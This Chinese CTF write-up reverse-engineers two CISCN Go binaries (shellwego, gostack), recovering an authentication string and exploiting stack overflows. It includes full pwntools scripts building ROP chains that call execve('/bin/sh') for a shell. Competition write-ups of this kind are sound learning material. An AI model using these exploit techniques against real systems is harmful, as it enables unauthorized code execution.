马上又要到国赛了,想到近几年国赛次次有go借着最近有时间复习了一下go的打法,一般以溢出为主
2023 ciscn shellwego
程序回显
main_main
通过 ciscnshell$
字符串找到 main_main
,go的代码反编译看的不是很懂 这里直接看汇编发现 有两个模式 第一个模式是ciscnshell$,第二个模式是nightingale# 猜测是要进入第二个模式,应该是要满足什么条件验证
两条线都进入了 main_unk_func0b05 说明这里是关键函数,通过调试可以发现
qword_5D1128的初始值为0 跟踪这个值发现涉及到的有
main_unk_fun0b01 main_unk_func0b05 main_main
main_unk_func0b05
这里有检测是否是0 如果是则执行蓝色的区域,不是的话就跳转到 loc_4C1A24,注意到蓝色区域还有一个比较
说明得进入 loc4C1A24 不然程序就返回了 也就是 我们输入的要和74726563这个一样 也就是转化为字符串后是cert
这里的rbx 是看的多少传参(通过跟踪程序流可以发现)
这里的 gensplit 是 go 中 split 操作的内部函数
从参数和结果推测原函数是 Split(S, “ ”)
,分割空格前后的字符串
因此我们输入cert a b 则可以使得rbx为3绕过检测
这个cmp qword ptr[rax+18h],9经过调试发现是我们输入第一个参数的长度因此我们输入
cert aaaaaaaaa b 既可以绕过该检测
第一个参数 得是63694D734463416E转化为字符串是nAcDsMic
倒过来是nAcDsMic
然后最后一个检测0x4e nAcDsMicN
然后就绕过了 进入了main_unk_func0b01
main_unk_func0b01
F1nallB1rd3K3y
这个地方检测的是 我们输入的第二个参数 经过base64编码后的字符串的长度
将这两个分别转化为字符串并倒过来拼接为5362703858494C4A 4761572F755A5976h
得到JLIX8pbSvYZu/WaG
因此我们要通过 我们输入的东西 经过rc4解密后 base64编码后 是JLIX8pbSvYZu/WaG即可
因此得到的最终认证是:
cert nAcDsMicN S33UAga1n@#!
漏洞分析
main_fun0b04
用了 concatstring2,会检查上一次拼接的长度有没有超过 0x200
而这个位置i>=0x400是够我们溢出的,且输入+可以跳过赋值的过程 就可以越过一部分栈的数据 导致进行rop的同时程序不会崩掉
echo a*0x200 b*0x200看能不能打崩
成功打崩了 然后就测试溢出大小走rop就可以了 没开什么保护
exp如下
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./shellwego"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
rl("ciscnshell$ ")
sl(b'cert nAcDsMicN S33UAga1n@#!')
rl("nightingale# ")
#0x21b+8
syscall= 0x40328c
pop_rax = 0x040d9e6
pop_rdi = 0x444fec
pop_rdx = 0x49e11d
pop_rsi = 0x41e818
bin_sh = 0x588018
payload = b'echo '+b'+'*0x200 + b' ' + b'+'*0x23
rop = (
p64(pop_rax) +
p64(0) +
p64(pop_rdi) +
p64(0) +
p64(pop_rsi) +
p64(bin_sh) +
p64(pop_rdx) +
p64(50) +
p64(syscall) +
p64(pop_rax) +
p64(59) +
p64(pop_rdi) +
p64(bin_sh) +
p64(pop_rsi) +
p64(0) +
p64(pop_rdx) +
p64(0) +
p64(syscall)
)
payload+=rop
sl(payload)
sl(b'/bin/sh\x00')
inter()
2024 ciscn gostack
程序回显
静态代码分析
直接看这种 有点难看 这里由于程序功能较为简单因此直接用动态调试去测试代码
动态调试
通过调试可以发现 是这个指令进行的syscall系统调用 且后续的函数write&read都是通过这个
读入在0xc0000b4000这个地址 后面会通过一系列操作 进入栈段中
再进一步调试发现:
计算了一下偏移为0x1c8+8
因为有syscall 就直接读入bss段 然后再拿shell
这里填充数据要用\x00不能用其他的 因为for循环赋值后还有别的函数要执行,那么把原本栈上的数据覆盖为a肯定会影响其他函数执行,在其他函数执行的时候程序就崩掉了,执行不到rop链条
改为\x00后就可以执行rop链条并且拿到shell
exp
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./gostack"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
dbg()
pause()
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
pop_rax_ret = 0x000000000040f984
leave_ret = 0x00000000004A0BCF
syscall = 0x0000000000404043
pop_rdi_r14_r13_r12_rbp_rbx_ret = 0x00000000004a18a5
bss = 0x579600+0x200
pop_rbp_ret = 0x4023ed
payload = b'\x00' * 0x1d0
payload += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(0) * 6
payload += p64(pop_rsi_ret) + p64(bss)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rbp_ret) + p64(bss)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall) + p64(leave_ret)
sla(b'message', payload)
payload = b'/bin/sh\x00'
payload += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(bss) + p64(0) * 5
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
sl(payload)
inter()